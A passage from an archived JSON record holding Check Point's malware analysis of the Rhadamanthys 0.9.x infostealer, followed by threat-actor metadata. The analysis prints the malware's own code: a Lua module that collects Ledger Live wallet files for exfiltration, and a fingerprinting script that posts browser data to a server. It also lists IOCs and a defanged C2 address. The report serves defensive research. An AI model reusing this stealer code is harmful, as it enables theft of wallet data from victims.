then\r\nbreak\r\nend\r\nend\r\nend\r\nif file_count \u003e 0 then\r\nfor k, v in pairs(files) do\r\nframework.add_file(k, v)\r\nend\r\nframework.set_commit(\"!CP:LedgerLive\")\r\nlocal files = {} local file_count = 0 if not framework.flag_exist(\"W\") then return end local paths = {\r\nframework.parse_path([[%AppData%\\Ledger Live]]), framework.parse_path([[%LOCALAppData%\\Ledger Live]]) } for i,\r\npath in ipairs(paths) do if path ~= nil and framework.path_exist(path) then local offset = string.len(path) + 2\r\nframework.fs_search(path, function(entry) local name = string.sub(entry.Filename, offset) files[name] = entry.Filename\r\nfile_count = file_count + 1 end,true) if file_count \u003e 0 then break end end end if file_count \u003e 0 then for k, v in pairs(files) do\r\nframework.add_file(k, v) end framework.set_commit(\"!CP:LedgerLive\")\r\nlocal files = {}\r\nlocal file_count = 0\r\nif not framework.flag_exist(\"W\") then\r\n return\r\nend\r\nlocal paths = {\r\n framework.parse_path([[%AppData%\\Ledger Live]]),\r\n framework.parse_path([[%LOCALAppData%\\Ledger Live]])\r\n}\r\nfor i, path in ipairs(paths) do\r\n if path ~= nil and framework.path_exist(path) then\r\n local offset = string.len(path) + 2\r\n framework.fs_search(path, function(entry)\r\n local name = string.sub(entry.Filename, offset)\r\n files[name] = entry.Filename\r\n file_count = file_count + 1\r\n end,true)\r\n if file_count \u003e 0 then\r\n break\r\n end\r\n end\r\nend\r\nif file_count \u003e 0 then\r\n for k, v in pairs(files) do\r\n framework.add_file(k, v)\r\nhttps://research.checkpoint.com/2025/rhadamanthys-0-9-x-walk-through-the-updates/\r\nPage 31 of 40\n\nend\r\n framework.set_commit(\"!CP:LedgerLive\")\r\nOther modules\r\nIn the latest releases, the package at Stage 3 was enriched with few more modules. They are:\r\nchrome_extension.dat\r\nfingerprint.js\r\nindex.html\r\nThe most interesting one is  fingerprint.js  . It is a JavaScript, which starts with the following comment:  Browser\r\nFingerprint Export Tool ; Used to collect browser fingerprint information and export as JSON . It is meant to be\r\nopened by a browser and collect a variety of information about its configuration. The main function of the script is called\r\nasynchronously and it collects all the information into a JSON report:\r\nPlain text\r\nCopy to clipboard\r\nOpen code in new window\r\nEnlighterJS 3 Syntax Highlighter\r\nasync function main() {\r\ntry {\r\nconst fingerprint = await collectAllFingerprints();\r\nawait fetch('/p/result', {\r\nmethod: 'POST',\r\nheaders: { 'Content-Type': 'application/json' },\r\nbody: JSON.stringify(fingerprint)\r\n});\r\n} catch (error) {\r\nconsole.error('Fingerprint collection or send error:', error);\r\n}\r\n}\r\nasync function main() { try { const fingerprint = await collectAllFingerprints(); await fetch('/p/result', { method: 'POST',\r\nheaders: { 'Content-Type': 'application/json' }, body: JSON.stringify(fingerprint) }); } catch (error) {\r\nconsole.error('Fingerprint collection or send error:', error); } }\r\nasync function main() {\r\n try {\r\n const fingerprint = await collectAllFingerprints();\r\n await fetch('/p/result', {\r\n method: 'POST',\r\n headers: { 'Content-Type': 'application/json' },\r\n body: JSON.stringify(fingerprint)\r\nhttps://research.checkpoint.com/2025/rhadamanthys-0-9-x-walk-through-the-updates/\r\nPage 32 of 40\n\n});\r\n } catch (error) {\r\n console.error('Fingerprint collection or send error:', error);\r\n }\r\n }\r\nThe function that does the data collection comes with extensive comments, showing what type of data we can expect to be\r\ngathered.\r\nPlain text\r\nCopy to clipboard\r\nOpen code in new window\r\nEnlighterJS 3 Syntax Highlighter\r\n// Collect all fingerprint information\r\nasync function collectAllFingerprints() {\r\nconst fingerprint = {\r\n// Timestamp\r\ntimestamp: new Date().toISOString(),\r\n// Basic system info\r\nsystem: await collectSystemInfo(),\r\n// Browser info\r\nbrowser: collectBrowserInfo(),\r\n// WebGL info\r\nwebgl: await collectWebGLInfo(),\r\n// Canvas info\r\ncanvas: await collectCanvasInfo(),\r\n// Network info\r\nnetwork: await collectNetworkInfo(),\r\n// Screen info\r\nscreen: collectScreenInfo(),\r\n// Hardware info\r\nhardware: collectHardwareInfo(),\r\n// Language info\r\nlanguage: collectLanguageInfo(),\r\n// Fonts info\r\nfonts: await detectAvailableFonts(),\r\nhttps://research.checkpoint.com/2025/rhadamanthys-0-9-x-walk-through-the-updates/\r\nPage 33 of 40\n\n// WebRTC info\r\nwebrtc: await getWebRTCInfo(),\r\n// Web Audio info\r\naudio: await getWebAudioInfo(),\r\n// Miscellaneous features\r\nmisc: collectMiscFeatures()\r\n};\r\nreturn fingerprint;\r\n}\r\n// Collect all fingerprint information async function collectAllFingerprints() { const fingerprint = { // Timestamp timestamp:\r\nnew Date().toISOString(), // Basic system info system: await collectSystemInfo(), // Browser info browser:\r\ncollectBrowserInfo(), // WebGL info webgl: await collectWebGLInfo(), // Canvas info canvas: await collectCanvasInfo(), //\r\nNetwork info network: await collectNetworkInfo(), // Screen info screen: collectScreenInfo(), // Hardware info hardware:\r\ncollectHardwareInfo(), // Language info language: collectLanguageInfo(), // Fonts info fonts: await detectAvailableFonts(),\r\n// WebRTC info webrtc: await getWebRTCInfo(), // Web Audio info audio: await getWebAudioInfo(), // Miscellaneous\r\nfeatures misc: collectMiscFeatures() }; return fingerprint; }\r\n // Collect all fingerprint information\r\n async function collectAllFingerprints() {\r\n const fingerprint = {\r\n // Timestamp\r\n timestamp: new Date().toISOString(),\r\n // Basic system info\r\n system: await collectSystemInfo(),\r\n // Browser info\r\n browser: collectBrowserInfo(),\r\n // WebGL info\r\n webgl: await collectWebGLInfo(),\r\n // Canvas info\r\n canvas: await collectCanvasInfo(),\r\n // Network info\r\n network: await collectNetworkInfo(),\r\n // Screen info\r\n screen: collectScreenInfo(),\r\n // Hardware info\r\n hardware: collectHardwareInfo(),\r\n // Language info\r\n language: collectLanguageInfo(),\r\n // Fonts info\r\n fonts: await detectAvailableFonts(),\r\n // WebRTC info\r\n webrtc: await getWebRTCInfo(),\r\n // Web Audio info\r\n audio: await getWebAudioInfo(),\r\n // Miscellaneous features\r\n misc: collectMiscFeatures()\r\n };\r\n return fingerprint;\r\n }\r\nhttps://research.checkpoint.com/2025/rhadamanthys-0-9-x-walk-through-the-updates/\r\nPage 34 of 40\n\nOnce this script is deployed, it allows the attackers to grab additional information about the browsers installed on the victim\r\nsystem, and their settings. For example, it allows to list all the plugins installed, and checks if the following features are\r\nenabled:\r\ndoNotTrack\r\nJava\r\ncookies\r\nWebDriver\r\nWebGL\r\nIt also pinpoints the precise product version and build.\r\nThe index.html is very simple, and seems to be used just as a carrier where the  fingerprint.js  will be embedded:\r\nPlain text\r\nCopy to clipboard\r\nOpen code in new window\r\nEnlighterJS 3 Syntax Highlighter\r\n\u003c!DOCTYPE html\u003e\r\n\u003chtml lang=\"en\"\u003e\r\n\u003chead\u003e\r\n\u003cmeta charset=\"UTF-8\"\u003e\r\n\u003cmeta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\"\u003e\r\n\u003c/head\u003e\r\n\u003cbody\u003e\r\n\u003cscript src=\"/p/fp.js\"\u003e\u003c/script\u003e\r\n\u003c/body\u003e\r\n\u003c/html\u003e\r\n\u003c!DOCTYPE html\u003e \u003chtml lang=\"en\"\u003e \u003chead\u003e \u003cmeta charset=\"UTF-8\"\u003e \u003cmeta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\"\u003e \u003c/head\u003e \u003cbody\u003e \u003cscript src=\"/p/fp.js\"\u003e\u003c/script\u003e \u003c/body\u003e \u003c/html\u003e\r\n\u003c!DOCTYPE html\u003e\r\n\u003chtml lang=\"en\"\u003e\r\n\u003chead\u003e\r\n \u003cmeta charset=\"UTF-8\"\u003e\r\n \u003cmeta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\"\u003e\r\n\u003c/head\u003e\r\n\u003cbody\u003e\r\n \u003cscript src=\"/p/fp.js\"\u003e\u003c/script\u003e\r\n\u003c/body\u003e\r\n\u003c/html\u003e\r\nConclusion\r\nRhadamanthys looked mature from the start, given that its codebase draws heavily from the authors’ earlier project, Hidden\r\nBee. Its initial development was fast-paced, as the authors invested heavily in rapid feature growth to gain momentum and\r\nhttps://research.checkpoint.com/2025/rhadamanthys-0-9-x-walk-through-the-updates/\r\nPage 35 of 40\n\nattract customers. They kept reworking the codebase, introduced extensions and add-ons that increased flexibility, allowing\r\ncustomization for diverse use cases. Currently, the development is slower and steadier: the core design remains intact, with\r\nchanges focused on refinements – such as new stealer components, changes in obfuscation, and more advanced\r\ncustomization options.\r\nThe latest variant represents an evolution rather than a revolution. Analysts should update their config parsers, monitor\r\nPNG-based payload delivery, track changes in mutex and bot ID formats, and expect further churn in obfuscation as tooling\r\ncatches up. If this trajectory continues, a future 1.0 release may emphasize stability and professionalization, further\r\ncementing Rhadamanthys as a long-term player in the stealer ecosystem.\r\nProtections\r\nCheck Point Threat Emulation and Harmony Endpoint provide comprehensive coverage of attack tactics, file types, and\r\noperating systems and protect against the attacks and threats described in this report.\r\nIOCs:\r\nAnalyzed samples:\r\n8f54612f441c4a18564e6badf5709544370715e4529518d04b402dcd7f11b0fb (packed, Golang packer)\r\nb429a3e21a3ee5ac7be86739985009647f570548b4f04d4256139bc280a6c68f\r\nb41fb6e936eae7bcd364c5b79dac7eb34ef1c301834681fbd841d334662dbd1d\r\neb5558d414c6f96efeb30db704734c463eb08758a3feacf452d743ba5f8fe662 – packed\r\n1f7213a32bce28cb3272ef40a7d63196b2e85f176bcfe7a2d2cd7f88f4ff93fd – unpacked payload\r\nc19716b262e928d83252d75a1ff262786df6cbb221132a0ada08ef3293c091b7 (unpacked)\r\n84bbe70b3089e578d69744bd8b030c3a6e724a6c3f4bdefda82fe5057f89c9ba (unpacked)\r\na451cbfe093830cd4d907d10bc0f27ea51da53ece5456af2fe6b3b24d3df163e (packed)\r\n23a57ba898b5e91a2ead4e93c97710fe91dc917a7d11dc44b41304778565905f (unpacked)\r\nURL:  hxxps://193.84.71.81/gateway/wcm6paht.htbq1\r\nAppendix A\r\nThe modules marked by bold font are the ones introduced in the current release. The modules marked italic didn’t change\r\nsince the previous release.\r\nStage 2 [32] – Unpacked from the hardcoded package (set extracted from a 32-bit sample) ; Rhadamanthys 0.9.2\r\nChecksum Format SHA256 Bits\r\nName\r\nprevio\r\nnotati\r\nfuncti\r\n[core] – 32 bit XS1_B cb0662d468b034530f88dee9204b3a1d3ff04d19345f417b2cce92a1940dc991 32\r\n[core]\r\nmodul\r\nStage\r\n0x1B4E06C3 shellcode a905226a2486ccc158d44cf4c1728e103472825fb189e05c17d998b9f5534d63 32 proto.\r\n0x4BE19021 XS1_B cb555f5cb3e40c4db0fba7953ffc56e978a599233f80512e019e4c94fd69892c 64 unhoo\r\n0x4C4D42C7 shellcode 090b0ef20633785d11096cda04d9764bd46c9f5d9d3c02183009d2bf165abb82 32 stage.x\r\n0x4E63DBDE XS1_B b43d35a26681c7f214ce3bd90af35bc3272008c169c5b1b4e7e6af7398e3e3c4 64 phexe\r\n0x60BE0C74 data 0500bd111464a1376e7efba2376eb1192cb4beb18278f62e460c8c8191f0cc5d – the lis\r\nHWID\r\nhttps://research.checkpoint.com/2025/rhadamanthys-0-9-x-walk-through-the-updates/\r\nPage 36 of 40\n\nChecksum Format SHA256 Bits\r\nName\r\nprevio\r\nnotati\r\nfuncti\r\n(used\r\nstrateg\r\n0x792C6067 text aeba4ece8c4bf51d9761e49fad983967e76c705a06999c556c099f39853f737c –\r\nua.txt\r\n(usera\r\nlist)\r\n0x7FC2A3A4 text 3ca87045da78292a6bba017138ff9ee42b4e626b64d0fee6d86a16cc3258c8c3 –\r\nproces\r\n(list of\r\nforbid\r\nproces\r\n0x821049F XS1_B cbca01435be6348ce4c58cc86c2900f3d99dc806ea38dbdfbb8d6291af17fce4 32 dt.x86\r\n0x829447CA config/text 24ddfd61c05b2f772caf85b44e9e58363a0cf345c6a9294a8416617f0b5b03cf –\r\nexecu\r\nto\r\nimper\r\n(list o\r\noption\r\n0x9EA1F525 XS1_B 59722b8869d17c5a805dd9febe70295b78afd53e4f3b0e26cd76ea1e772e6818 32 netclie\r\n0xAC0F6808 XS1_B 6415c029d241255bffaf057a8f1390b626c8069ba9a1432f0e8372c7ab68778a 32 strateg\r\n0xB93BA6C0 XS1_B 67f00a03e76308a399f21498ebdd4accdb1879c908960e60f717e6d3cb9d05cf 32 early.x\r\n0xC33BB680 XS1_B d8d2bae5ec1ade8770ad2d6fc323b2ccc459919643cbe8d67e6a5b11094a4d85 64 early.x\r\n0xD1F230E1 shellcode 0fc149c1ed4a1040b9cf68076c17c4d005a121aca0a22385458a1980f7d24589 prepar\r\n0xDB1C3A3D data 11aabefa4eac0c2f22d0b2efdb7facd242d52765fe5167523112b980f096d9d1 –\r\nthe lis\r\nMAC\r\naddres\r\n(used\r\nstrateg\r\nStage 2 [64] – Unpacked from the hardcoded package (set extracted from a 64-bit sample) ; Rhadamanthys 0.9.2\r\nChecksum Format SHA256 Bits\r\nName (b\r\nprevious\r\nnotation\r\nfunction\r\n[core] – 64\r\nbit\r\nXS1_B cbdb3d2e0a845b134576fabcc2260aa5bd995b9f3b43483ab704c6787409012d 64\r\n[core] –\r\nmodule o\r\nStage 2\r\n0x12211453 XS1_B 3419dc2a3fb5bdba7f5d51634109066b0ceaeeae898a6748ce9eeaeb63fd1fb0 64\r\n0x1d4e0a2f shellcode 9d110b4e129be5d80253c4d890757f81c5135dcf6d1bbf0262fb554f0c885720 64 proto.x6\r\n0x464d394b shellcode a9932ada2cf6bfb2614080e9a0068af03ee919657f16ef50d256fccd74ee2d44 64 stage.x64\r\n0x4e63dbde XS1_B 41daeb92734388f9133a007cbc9c4d8058092b9d8192734be70b3106f0ca5d9f 64 phexec.b\r\nhttps://research.checkpoint.com/2025/rhadamanthys-0-9-x-walk-through-the-updates/\r\nPage 37 of 40\n\nChecksum Format SHA256 Bits\r\nName (b\r\nprevious\r\nnotation\r\nfunction\r\n0x60be0c74 data 0500bd111464a1376e7efba2376eb1192cb4beb18278f62e460c8c8191f0cc5d –\r\nthe list o\r\nHWIDs\r\n(used by\r\nstrategy)\r\n0x792c6067 text aeba4ece8c4bf51d9761e49fad983967e76c705a06999c556c099f39853f737c –\r\nua.txt\r\n(userage\r\nlist)\r\n0x7fc2a3a4 text 3ca87045da78292a6bba017138ff9ee42b4e626b64d0fee6d86a16cc3258c8c3 –\r\nprocesse\r\n(list of\r\nforbidde\r\nprocesse\r\n0x829447ca config/text 24ddfd61c05b2f772caf85b44e9e58363a0cf345c6a9294a8416617f0b5b03cf –\r\nexecutab\r\nto\r\nimperso\r\n(list of\r\noptions)\r\n0xa60f5ef8 XS1_B 4ec1902e8cd21d2d5a65465111a1883920bb6c898189dac34d618766b1c4fa66 64 strategy.\r\n0xaca20b29 XS1_B ad5ecfda322ac8fdde40f3ee57273abae35b5eb6ca96f2df0a91b8059e75d022 64 netclient\r\n0xc33bb680 XS1_B df24d62310c018ba8817f0b70788e6bec546f234bb56116f90bf5b7f19c87901 64 early.x64\r\n0xdb1c3a3d data 11aabefa4eac0c2f22d0b2efdb7facd242d52765fe5167523112b980f096d9d1\r\nthe list o\r\nMAC\r\naddresse\r\n(used by\r\nstrategy)\r\nStage 3 – Downloaded from the C2:\r\nPlain text\r\nCopy to clipboard\r\nOpen code in new window\r\nEnlighterJS 3 Syntax Highlighter\r\n├── bin\r\n│ ├── amd64\r\n│ │ ├── coredll.bin\r\n│ │ ├── imgdat.bin\r\n│ │ ├── stubmod.bin\r\n│ │ └── taskcore.bin\r\n│ ├── i386\r\nhttps://research.checkpoint.com/2025/rhadamanthys-0-9-x-walk-through-the-updates/\r\nPage 38 of 40\n\n│ │ ├── coredll.bin\r\n│ │ ├── stubmod.bin\r\n│ │ └── taskcore.bin\r\n│ ├── KeePassHax.dll\r\n│ ├── loader.dll\r\n│ └── runtime.dll\r\n└── etc\r\n├── bip39.txt\r\n├── chrome_extension.dat\r\n├── fingerprint.js\r\n└── index.html\r\n├── bin │ ├── amd64 │ │ ├── coredll.bin │ │ ├── imgdat.bin │ │ ├── stubmod.bin │ │ └── taskcore.bin │ ├──\r\ni386 │ │ ├── coredll.bin │ │ ├── stubmod.bin │ │ └── taskcore.bin │ ├── KeePassHax.dll │ ├── loader.dll │\r\n└── runtime.dll └── etc ├── bip39.txt ├── chrome_extension.dat ├── fingerprint.js └── index.html\r\n├── bin\r\n│ ├── amd64\r\n│ │ ├── coredll.bin\r\n│ │ ├── imgdat.bin\r\n│ │ ├── stubmod.bin\r\n│ │ └── taskcore.bin\r\n│ ├── i386\r\n│ │ ├── coredll.bin\r\n│ │ ├── stubmod.bin\r\n│ │ └── taskcore.bin\r\n│ ├── KeePassHax.dll\r\n│ ├── loader.dll\r\n│ └── runtime.dll\r\n└── etc\r\n ├── bip39.txt\r\n ├── chrome_extension.dat\r\n ├── fingerprint.js\r\n └── index.html\r\nName Format SHA256\r\nversion\r\nintrodu\r\ncoredll.bin (32) XS2_B 271452e1c5e79d159f79886a65d4180814a7329c092d617372f127b6311d60f1 \u003c 4.0\r\nstubmod.bin (32) XS2_B ae26068833a65197c5ff2440d8ca06db393823ee1b5130dbf00d90da2120bf01 \u003c 4.0\r\ntaskcore.bin (32) XS2_B 59920d1fc7facb5b3b06b93da5b8ee3cbb15acb75f2bb36536e35b803a1f2222 5.0 ?\r\ncoredll.bin (64) XS2_B 5a747f6d9d818fcfd90e0ff1ca393321ab7e10314f71e9db01cb1f451258f257 \u003c 4.0\r\nstubmod.bin (64) XS2_B 8c12af846fc774e02dc5ec358f0a9fa7363538cef541e95ac65331ec18fbbe0b \u003c 4.0\r\ntaskcore.bin (64) XS2_B 36dd78abc304bd2cfbfc188a0b47320e3a4393f03657d69796a5616e3dac50c8 5.0 ?\r\nhttps://research.checkpoint.com/2025/rhadamanthys-0-9-x-walk-through-the-updates/\r\nPage 39 of 40\n\nName Format SHA256\r\nversion\r\nintrodu\r\nimgdat.bin (64) XS2_B d14d10fdcd7a6f0c095e2bb525fe21d8970c508c0475913bd9bd1c96067bcb04 7.0\r\nKeePassHax.dll\r\nPE,\r\n.NET\r\nfcb00beaa88f7827999856ba12302086cadbc1252261d64379172f2927a6760e \u003c 4.0 ?\r\nloader.dll\r\nPE,\r\n.NET\r\n7acae2490a0ff1ae3a31f89346fe4e0630259a344c2a6f38bf75f34f8fe9987e \u003c 4.0 ?\r\nruntime.dll\r\nPE,\r\n.NET\r\nb8cbb2a7270ac21c3e895f1b4965b1a17d7a1a6ea54c2c8ef19df49a26442779 5.0\r\nbip39.txt\r\nplain\r\ntext\r\n24ce42c2fd4a95c1b86bbee9bce1e1cf255bd0022e19bab6bd591afd68b7efdb 7.0\r\nchrome_extension.dat DAT 71ccf996f6ad9ac4ed001d3570de6754f7e26a846ed19b34e9b3b1b58abfe619 0.9\r\nfingerprint.js JS 4f88d5cb69d44144b02f7ffd3d45cd86aaee12c3410898ce83712287a6b27fe4 0.9\r\nindex.html HTML b25d958bd91f85c14ca451dd6dbcea58507c8e92466f48cd2d2e04cef9d371af 0.8\r\nLua extensions\r\nLUA\r\ncode\r\n– \u003c 4.0\r\n0x681AC921 product key\r\nReferences\r\n[1] https://research.checkpoint.com/2023/from-hidden-bee-to-rhadamanthys-the-evolution-of-custom-executable-formats/\r\n[2] https://research.checkpoint.com/2023/rhadamanthys-v0-5-0-a-deep-dive-into-the-stealers-components/\r\n[3] https://research.checkpoint.com/2024/massive-phishing-campaign-deploys-latest-rhadamanthys-version/\r\n[4] https://go.recordedfuture.com/hubfs/reports/mtp-2024-0926.pdf\r\n[5] https://outpost24.com/blog/lummac2-anti-sandbox-technique-trigonometry-human-detection/\r\nSource: https://research.checkpoint.com/2025/rhadamanthys-0-9-x-walk-through-the-updates/\r\nhttps://research.checkpoint.com/2025/rhadamanthys-0-9-x-walk-through-the-updates/\r\nPage 40 of 40",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://research.checkpoint.com/2025/rhadamanthys-0-9-x-walk-through-the-updates/"
	],
	"report_names": [
		"rhadamanthys-0-9-x-walk-through-the-updates"
	],
	"threat_actors": [
		{
			"id": "77b28afd-8187-4917-a453-1d5a279cb5e4",
			"created_at": "2022-10-25T15:50:23.768278Z",
			"updated_at": "2026-04-25T02:00:04.052591Z",
			"deleted_at": null,
			"main_name": "Inception",
			"aliases": [
				"Inception Framework",
				"Cloud Atlas"
			],
			"source_name": "MITRE:Inception",
			"tools": [
				"PowerShower",
				"VBShower",
				"LaZagne"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "8941e146-3e7f-4b4e-9b66-c2da052ee6df",
			"created_at": "2023-01-06T13:46:38.402513Z",
			"updated_at": "2026-04-25T02:00:02.834568Z",
			"deleted_at": null,
			"main_name": "Sandworm",
			"aliases": [
				"Quedagh",
				"IRIDIUM",
				"UAC-0113",
				"Seashell Blizzard",
				"UAC-0082",
				"APT44",
				"VOODOO BEAR",
				"TEMP.Noble",
				"IRON VIKING",
				"G0034",
				"ELECTRUM",
				"TeleBots",
				"Blue Echidna",
				"FROZENBARENTS"
			],
			"source_name": "MISPGALAXY:Sandworm",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "3a0be4ff-9074-4efd-98e4-47c6a62b14ad",
			"created_at": "2022-10-25T16:07:23.590051Z",
			"updated_at": "2026-04-25T02:00:04.537109Z",
			"deleted_at": null,
			"main_name": "Energetic Bear",
			"aliases": [
				"ATK 6",
				"Blue Kraken",
				"Crouching Yeti",
				"Dragonfly",
				"Electrum",
				"Energetic Bear",
				"G0035",
				"Ghost Blizzard",
				"Group 24",
				"ITG15",
				"Iron Liberty",
				"Koala Team",
				"TG-4192"
			],
			"source_name": "ETDA:Energetic Bear",
			"tools": [
				"Backdoor.Oldrea",
				"CRASHOVERRIDE",
				"Commix",
				"CrackMapExec",
				"CrashOverride",
				"Dirsearch",
				"Dorshel",
				"Fertger",
				"Fuerboos",
				"Goodor",
				"Havex",
				"Havex RAT",
				"Hello EK",
				"Heriplor",
				"Impacket",
				"Industroyer",
				"Karagany",
				"Karagny",
				"LightsOut 2.0",
				"LightsOut EK",
				"Listrix",
				"Oldrea",
				"PEACEPIPE",
				"PHPMailer",
				"PsExec",
				"SMBTrap",
				"Subbrute",
				"Sublist3r",
				"Sysmain",
				"Trojan.Karagany",
				"WSO",
				"Webshell by Orb",
				"Win32/Industroyer",
				"Wpscan",
				"nmap",
				"sqlmap",
				"xFrost"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "a66438a8-ebf6-4397-9ad5-ed07f93330aa",
			"created_at": "2022-10-25T16:47:55.919702Z",
			"updated_at": "2026-04-25T02:00:03.345977Z",
			"deleted_at": null,
			"main_name": "IRON VIKING",
			"aliases": [
				"APT44 ",
				"ATK14 ",
				"BlackEnergy Group",
				"Blue Echidna ",
				"CTG-7263 ",
				"ELECTRUM ",
				"FROZENBARENTS ",
				"Hades/OlympicDestroyer ",
				"IRIDIUM ",
				"Qudedagh ",
				"Sandworm Team ",
				"Seashell Blizzard ",
				"TEMP.Noble ",
				"Telebots ",
				"Voodoo Bear "
			],
			"source_name": "Secureworks:IRON VIKING",
			"tools": [
				"BadRabbit",
				"BlackEnergy",
				"GCat",
				"NotPetya",
				"PSCrypt",
				"TeleBot",
				"TeleDoor",
				"xData"
			],
			"source_id": "Secureworks",
			"reports": null
		},
		{
			"id": "b3e954e8-8bbb-46f3-84de-d6f12dc7e1a6",
			"created_at": "2022-10-25T15:50:23.339976Z",
			"updated_at": "2026-04-25T02:00:04.059321Z",
			"deleted_at": null,
			"main_name": "Sandworm Team",
			"aliases": [
				"Sandworm Team",
				"ELECTRUM",
				"Telebots",
				"IRON VIKING",
				"BlackEnergy (Group)",
				"Quedagh",
				"Voodoo Bear",
				"IRIDIUM",
				"Seashell Blizzard",
				"FROZENBARENTS",
				"APT44"
			],
			"source_name": "MITRE:Sandworm Team",
			"tools": [
				"Bad Rabbit",
				"Mimikatz",
				"Exaramel for Linux",
				"Exaramel for Windows",
				"GreyEnergy",
				"PsExec",
				"Prestige",
				"P.A.S. Webshell",
				"AcidPour",
				"VPNFilter",
				"Neo-reGeorg",
				"Cyclops Blink",
				"SDelete",
				"Kapeka",
				"AcidRain",
				"Industroyer",
				"Industroyer2",
				"BlackEnergy",
				"Cobalt Strike",
				"NotPetya",
				"KillDisk",
				"PoshC2",
				"Impacket",
				"Invoke-PSImage",
				"Olympic Destroyer"
			],
			"source_id": "MITRE",
			"reports": null
		}
	],
	"ts_created_at": 1776912876,
	"ts_updated_at": 1777083498,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/2b6a6d3b022f2097f1a3dabc579610b0eced90b6.pdf",
		"text": "https://archive.orkl.eu/2b6a6d3b022f2097f1a3dabc579610b0eced90b6.txt",
		"img": "https://archive.orkl.eu/2b6a6d3b022f2097f1a3dabc579610b0eced90b6.jpg"
	}
}